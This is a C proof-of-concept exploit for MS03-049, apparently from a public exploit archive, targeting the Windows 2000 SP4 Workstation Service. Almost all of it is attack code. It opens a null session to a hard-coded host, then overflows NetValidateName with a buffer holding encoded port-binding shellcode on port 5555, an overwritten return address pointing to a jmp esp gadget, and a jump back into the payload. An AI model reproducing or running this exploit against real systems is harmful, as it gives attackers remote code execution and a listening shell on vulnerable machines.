102 lines
No EOL
4.1 KiB
C
102 lines
No EOL
4.1 KiB
C
/*
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Proof of concept for MS03-049.
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This code was tested on a Win2K SP4 with FAT32 file system, and is supposed
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to work *only* with that (it will probably crash the the other 2Ks, no clue
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about XPs).
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To be compiled with lcc-win32 (*hint* link mpr.lib) ... I will not improve
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this public version, do not bother to ask.
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Credits go to eEye
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See original bulletin for more information, it is very well documented.
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*/
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#include <stdio.h>
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#include <win.h>
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#include <string.h>
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typedef int (*MYPROC)(LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, ULONG);
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#define SIZE 2048
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// PEX generated port binding shellcode (5555)
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unsigned char shellcode[] =
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"\x66\x81\xec\x04\x07" // sub sp, 704h
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31"
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"\xc9\x81\xe9\xa6\xff\xff\xff\x81\x36\x76\xac\x7c\x25\x81\xee\xfc"
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"\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff\x9e\x94\x7c\x25"
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"\x76\xef\x31\x61\x76\x4b\x05\xe3\x0f\x49\x35\xa3\x3f\x08\xd1\x0b"
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"\x9f\x08\x66\x55\xb1\x75\x75\xd0\xdb\x67\x91\xd9\x4d\x22\x32\x2b"
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"\x9a\xd2\xa4\xc7\x05\x01\xa5\x20\xb8\xde\x82\x96\x60\xfb\x2f\x17"
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"\x29\x9f\x4e\x0b\x32\xe0\x30\x25\x77\xf7\x28\xac\x93\x25\x21\x25"
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"\x1c\x9c\x25\x41\xfd\xad\xf7\x65\x7a\x27\x0c\x39\xdb\x27\x24\x2d"
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"\x9d\xa0\xf1\x72\x5a\xfd\x2e\xda\xa6\x25\xbf\x7c\x9d\xbc\x16\x2d"
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"\x28\xad\x92\x4f\x7c\xf5\xf7\x58\x76\x2c\x85\x23\x02\x48\x2d\x76"
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"\x89\x98\xf3\xcd\xe6\xac\x7c\x25\x2f\x25\x78\xab\x94\x47\x4d\xda"
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"\x10\x2d\x90\xb5\x77\xf8\x14\x24\x77\xac\x7c\xda\x23\x8c\x2b\x72"
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"\x21\xfb\x3b\x72\x31\xfb\x83\x70\x6a\x25\xbf\x14\x89\xfb\x2b\x4d"
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"\x74\xac\x69\x96\xff\x4a\x16\x35\x20\xff\x83\x70\x6e\xfb\x2f\xda"
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"\x23\xb8\x2b\x73\x25\x53\x29\x35\xff\x6e\x1a\xa4\x9a\xf8\x7c\xa8"
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"\x4a\x88\x4d\xe5\x1c\xb9\x25\xd6\xdd\x25\xab\xe3\x32\x88\x6c\x61"
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"\x88\xe8\x58\x18\xff\xd0\x58\x6d\xff\xd0\x58\x69\xff\xd0\x58\x75"
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"\xfb\xe8\x58\x35\x22\xfc\x2d\x74\x27\xed\x2d\x6c\x27\xfd\x83\x50"
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"\x76\xfd\x83\x70\x46\x25\x9d\x4d\x89\x53\x83\xda\x89\x9d\x83\x70"
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"\x5a\xfb\x83\x70\x7a\x53\x29\x0d\x25\xf9\x2a\x72\xfd\xc0\x58\x3d"
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"\xfd\xe9\x40\xae\x22\xa9\x04\x24\x9c\x27\x36\x3d\xfd\xf6\x5c\x24"
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"\x9d\x4f\x4e\x6c\xfd\x98\xf7\x24\x98\x9d\x83\xd9\x47\x6c\xd0\x1d"
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"\x96\xd8\x7b\xe4\xb9\xa1\x7d\xe2\x9d\x5e\x47\x59\x52\xb8\x09\xc4"
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"\xfd\xf6\x58\x24\x9d\xca\xf7\x29\x3d\x27\x26\x39\x77\x47\xf7\x21"
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"\xfd\xad\x94\xce\x74\x9d\xbc\xac\x9c\xf3\x22\x78\x2d\x6e\x74\x25";
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unsigned char jmp[] =
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"\xe9\x6f\xfd\xff\xff"; // jmp -290h to land in the payload
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int main(void)
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{
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int ret;
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HINSTANCE hInstance;
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MYPROC procAddress;
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char szBuffer[SIZE];
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NETRESOURCE netResource;
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netResource.lpLocalName = NULL;
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netResource.lpProvider = NULL;
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netResource.dwType = RESOURCETYPE_ANY;
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netResource.lpRemoteName = "\\\\192.168.175.3\\ipc$";
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ret = WNetAddConnection2(&netResource, "", "", 0); // attempt a null session
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if (ret != 0)
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{
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fprintf(stderr, "[-] WNetAddConnection2 failed\n");
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return 1;
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}
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hInstance = LoadLibrary("netapi32");
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if (hInstance == NULL)
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{
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fprintf(stderr, "[-] LoadLibrary failed\n");
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return 1;
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}
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procAddress = (MYPROC)GetProcAddress(hInstance, "NetValidateName"); // up to you tocheck NetAddAlternateComputerName
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if (procAddress == NULL)
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{
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fprintf(stderr, "[-] GetProcAddress failed\n");
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return 1;
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}
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memset(szBuffer, 0x90, sizeof(szBuffer));
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memcpy(&szBuffer[1400], shellcode, sizeof(shellcode) - 1);
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// ebp @ &szBuffer[2013]
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*(unsigned int *)(&szBuffer[2017]) = 0x74fdee63; // eip (jmp esp @ msafd.dll, useopcode search engine for more, but
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// be aware that a call esp willchange the offset in the stack)
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memcpy(&szBuffer[2021 + 12], jmp, sizeof(jmp)); // includes terminal NULL char
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ret = (procAddress)(L"\\\\192.168.175.3", szBuffer, NULL, NULL, 0);
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WNetCancelConnection2("\\\\192.168.175.3\\ipc$", 0, TRUE);
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FreeLibrary(hInstance);
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return 0;
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}
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// milw0rm.com [2003-11-12]
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